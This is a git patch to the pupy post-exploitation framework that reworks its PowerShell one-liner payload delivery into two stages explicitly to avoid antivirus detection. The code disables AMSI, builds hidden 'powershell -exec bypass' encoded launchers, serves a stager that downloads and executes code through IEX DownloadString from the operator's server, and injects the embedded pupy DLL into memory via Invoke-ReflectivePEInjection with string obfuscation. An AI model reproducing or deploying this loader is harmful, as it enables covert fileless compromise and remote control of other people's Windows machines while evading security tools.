From 1e7407674979c445db4a4e0d1b5bba4007fa2718 Mon Sep 17 00:00:00 2001 From: quentinhardy Date: Wed, 19 Oct 2016 08:54:02 -0400 Subject: [PATCH] Avoid AV detection with ps1_oneliner (2 stages now) --- pupy/modules/lib/windows/powershell_upload.py | 60 +++++-- pupy/pupylib/payloads/ps1_oneliner.py | 159 ++++++++++-------- 2 files changed, 129 insertions(+), 90 deletions(-) diff --git a/pupy/modules/lib/windows/powershell_upload.py b/pupy/modules/lib/windows/powershell_upload.py index 67bcea9b..6df68258 100644 --- a/pupy/modules/lib/windows/powershell_upload.py +++ b/pupy/modules/lib/windows/powershell_upload.py @@ -1,32 +1,50 @@ # -*- coding: UTF8 -*- - from rpyc.utils.classic import upload import base64, re, subprocess from subprocess import PIPE, Popen -def execute_powershell_script(module, content, function, x64IfPossible=False): +def execute_powershell_script(module, content, function, x64IfPossible=False, script_name=None): ''' To get function output, Write-Output should be used (stdout output). If you use Write-Verbose in your code for example, the output will be not captured because the output is not done over stdout (with Write-Verbose) ''' + # content = re.sub("Write-Verbose ","Write-Output ", content, flags=re.I) # could break the output with mimikatz + content = re.sub("Write-Error ","Write-Output ", content, flags=re.I) + content = re.sub("Write-Warning ","Write-Output ", content, flags=re.I) + path="powershell.exe" + arch = 'x64' if x64IfPossible: if "64" in module.client.desc['os_arch'] and "32" in module.client.desc['proc_arch']: - path=r"C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe" - fullargs=[path, "-C", "-"] + path=r"C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\powershell.exe" + elif "32" in module.client.desc['proc_arch']: + arch = 'x86' - p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True) - p.stdin.write("$base64=\"\""+"\n") - n = 20000 - line = base64.b64encode(content) - tab = [line[i:i+n] for i in range(0, len(line), n)] - for t in tab: - p.stdin.write("$base64+=\"%s\"\n" % t) - p.stdin.flush() + fullargs=[path, "-C", "-"] - p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") - p.stdin.write("Invoke-Expression $d\n") - p.stdin.write("$a=Invoke-Expression \"%s\" | Format-Table -HideTableHeaders | Out-String\n" % function) + # create and store the powershell object if it not exists + if not module.client.powershell[arch]['object']: + p = module.client.conn.modules.subprocess.Popen(fullargs, stdout=PIPE, stderr=PIPE, stdin=PIPE, bufsize=0, universal_newlines=True, shell=True) + module.client.powershell[arch]['object'] = p + else: + p = module.client.powershell[arch]['object'] + + if script_name not in module.client.powershell[arch]['scripts_loaded']: + module.client.powershell[arch]['scripts_loaded'].append(script_name) + p.stdin.write("$base64=\"\""+"\n") + n = 20000 + line = base64.b64encode(content) + tab = [line[i:i+n] for i in range(0, len(line), n)] + for t in tab: + p.stdin.write("$base64+=\"%s\"\n" % t) + p.stdin.flush() + + p.stdin.write("$d=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64))\n") + p.stdin.write("Invoke-Expression $d\n") + + # else: the powershell script is already loaded, call the function wanted + + p.stdin.write("\n$a=Invoke-Expression \"%s\" | Format-Table | Out-String\n" % function) p.stdin.write("$b=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(\"$a\"))\n") p.stdin.write("Write-Host $b\n") @@ -35,7 +53,6 @@ def execute_powershell_script(module, content, function, x64IfPossible=False): for i in p.stdout.readline(): output += i output = base64.b64decode(output) - p.stdin.write("exit\n") return output def remove_comments(string): @@ -68,3 +85,14 @@ def obfuscatePowershellScript(code): if "function Invoke-ReflectivePEInjection" in newCode: newCode = newCode.replace("$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null", "$TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERIS'+'TICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null") return newCode + +def obfs_ps_script(script): + """ + Strip block comments, line comments, empty lines, verbose statements, + and debug statements from a PowerShell source file. + """ + # strip block comments + strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script) + # strip blank lines, lines starting with #, and verbose/debug statements + strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )]) + return strippedCode diff --git a/pupy/pupylib/payloads/ps1_oneliner.py b/pupy/pupylib/payloads/ps1_oneliner.py index 1d3d101b..24204170 100644 --- a/pupy/pupylib/payloads/ps1_oneliner.py +++ b/pupy/pupylib/payloads/ps1_oneliner.py @@ -2,104 +2,113 @@ # -*- coding: UTF8 -*- from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import os.path -import base64 from pupylib.utils.term import colorize -import textwrap import random, string -import time -from pupygen import get_edit_pupyx86_dll, get_edit_pupyx64_dll +from pupygen import get_edit_pupyx86_dll try: import ConfigParser as configparser except ImportError: import configparser from ssl import wrap_socket +from base64 import b64encode +import re + +from modules.lib.windows.powershell_upload import obfuscatePowershellScript, obfs_ps_script ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..","..")) -def pad(s): - """ - Performs PKCS#7 padding for 128 bit block size. - """ - return str(s) + chr(16 - len(str(s)) % 16) * (16 - len(str(s)) % 16) +#url_random_one = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5)) +#url_random_two = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(5)) +### url_random_one and url_random_two variables are fixed because if you break you ps1_neliner listener, the payload will be not be able to get stages -:( +url_random_one = "eiloShaegae1" +url_random_two = "IMo8oosieVai" -from Crypto.Cipher import AES -def aes_encrypt(data, key): - IV="\x00"*16 - cipher = AES.new(key, AES.MODE_CBC, IV) - return cipher.encrypt(pad(data)) +def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf): + ''' + Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded + Ready for executing + ''' + SPLIT_SIZE = 100000 + x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", "" + code = """ + $PEBytes = "" + {0} + $PEBytesTotal = [System.Convert]::FromBase64String({1}) + Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR + """#{1}=x86dll + binaryX86=b64encode(get_edit_pupyx86_dll(payload_conf)) + binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)] + for i,aPart in enumerate(binaryX86parts): + x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart) + x86ConcatCode += "$PEBytes{0}+".format(i) + print(colorize("[+] ","green")+"X86 pupy dll loaded and {0} variables generated".format(i+1)) + script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()) + return obfs_ps_script("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1]))) +def create_ps_command(ps_command, force_ps32=False, nothidden=False): + ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}; + try{{ + [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true) + }}catch{{}} + {} + """.format(ps_command) -PS1_DECRYPT=""" -[Reflection.Assembly]::LoadWithPartialName("System.Security") -function AES-Decrypt($Encrypted, $Passphrase) -{ - $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider - $IV = New-Object Byte[] 16 - $AES.Mode="CBC" - $AES.KeySize=128 - $AES.Key=[Text.Encoding]::ASCII.GetBytes($Passphrase) - $AES.IV = $IV - $AES.Padding = "None" - $d = $AES.CreateDecryptor() - $ms = new-Object IO.MemoryStream @(,$Encrypted) - $cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read" - $count = $cs.Read($Encrypted, 0, $Encrypted.Length) - $cs.Close() - $ms.Close() - $AES.Clear() - $Encrypted[0..($Encrypted.Length - $Encrypted[-1] - 1)] -} -""" + if force_ps32: + command = """$command = '{}' + if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64') + {{ + + $exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command + IEX $exec + }} + else + {{ + $exec = [System.Convert]::FromBase64String($command) + $exec = [Text.Encoding]::Unicode.GetString($exec) + IEX $exec + }}""".format(b64encode(ps_command.encode('UTF-16LE'))) + + if nothidden is True: + command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE'))) + else: + command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE'))) + + elif not force_ps32: + if nothidden is True: + command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE'))) + else: + command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE'))) + + return command class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): - if self.path=="/p": + # print self.server.random_reflectivepeinj_name + if self.path=="/%s" % url_random_one: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() - pe_bootloader=PS1_DECRYPT+"\n"+(textwrap.dedent(""" - $p="%s" - $rpi=(((New-Object System.Net.WebClient).DownloadData("http://%s:%s/rpi"))) - $path="b64" - if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8){$path="b32"} - $raw=([Byte[]]((New-Object System.Net.WebClient).DownloadData("http://%s:%s/"+$path))) - iex([System.Text.Encoding]::UTF8.GetString( (AES-Decrypt $rpi $p))) - Write-Output "DLL received" - $raw=AES-Decrypt $raw $p - Write-Output "Reflective DLL decrypted" - [GC]::Collect() - %s -ForceASLR -PEBytes $raw #-Verbose - """%(self.server.aes_key, self.server.link_ip, self.server.link_port, self.server.link_ip, self.server.link_port, self.server.random_reflectivepeinj_name))) - self.wfile.write(pe_bootloader) - print colorize("[+] ","green")+" powershell script stage1 served !" - elif self.path=="/rpi": - #serve the powershell script + launcher = """ + IEX (New-Object Net.WebClient).DownloadString('http://{server}:{port}/{url_random_two}');""".format( + server=self.server.link_ip, + port=self.server.link_port, + url_random_two=url_random_two + ) + launcher = create_ps_command(launcher, force_ps32=True, nothidden=False) + self.wfile.write(launcher) + print colorize("[+] ","green")+"[Stage 1/2] Powershell script served !" + + elif self.path=="/%s" % url_random_two: self.send_response(200) - #self.send_header('Content-type','text/html') self.send_header('Content-type','application/octet-stream') self.end_headers() code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read() code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o) - d=aes_encrypt(code, self.server.aes_key) - self.wfile.write(d) - print colorize("[+] ","green")+" powershell Invoke-ReflectivePEInjection.ps1 script served !" - elif self.path=="/b32": - #serve the pupy 32bits dll to load from memory - self.send_response(200) - self.send_header('Content-type','application/octet-stream') - self.end_headers() - print colorize("[+] ","green")+" generating x86 reflective dll ..." - self.wfile.write(aes_encrypt(get_edit_pupyx86_dll(self.server.payload_conf), self.server.aes_key)) - print colorize("[+] ","green")+" pupy x86 reflective dll served !" - elif self.path=="/b64": - #serve the pupy 64bits dll to load from memory - self.send_response(200) - self.send_header('Content-type','application/octet-stream') - self.end_headers() - print colorize("[+] ","green")+" generating amd64 reflective dll ..." - self.wfile.write(aes_encrypt(get_edit_pupyx64_dll(self.server.payload_conf), self.server.aes_key)) - print colorize("[+] ","green")+" pupy amd64 reflective dll served !" + self.wfile.write(getInvokeReflectivePEInjectionWithDLLEmbedded(self.server.payload_conf)) + print colorize("[+] ","green")+"[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!" + print colorize("[+] ","green")+"You should have a pupy shell in few seconds from this host..." + else: self.send_response(404) self.end_headers() @@ -134,7 +143,9 @@ def serve_ps1_payload(conf, ip="0.0.0.0", port=8080, link_ip="", ssl=Fa raise print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :" print " --- " - oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/p')\""%(link_ip, port), "green") + oneliner=colorize("powershell.exe -w hidden -noni -nop -c \"iex(New-Object System.Net.WebClient).DownloadString('http://%s:%s/%s')\""%(link_ip, port, url_random_one), "green") + # This line could work check when proxy is used (have to be tested) + # oneliner=colorize("powershell.exe -w hidden -noni -nop -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://%s:%s/pa')"%(link_ip, port), "green") print oneliner print " --- "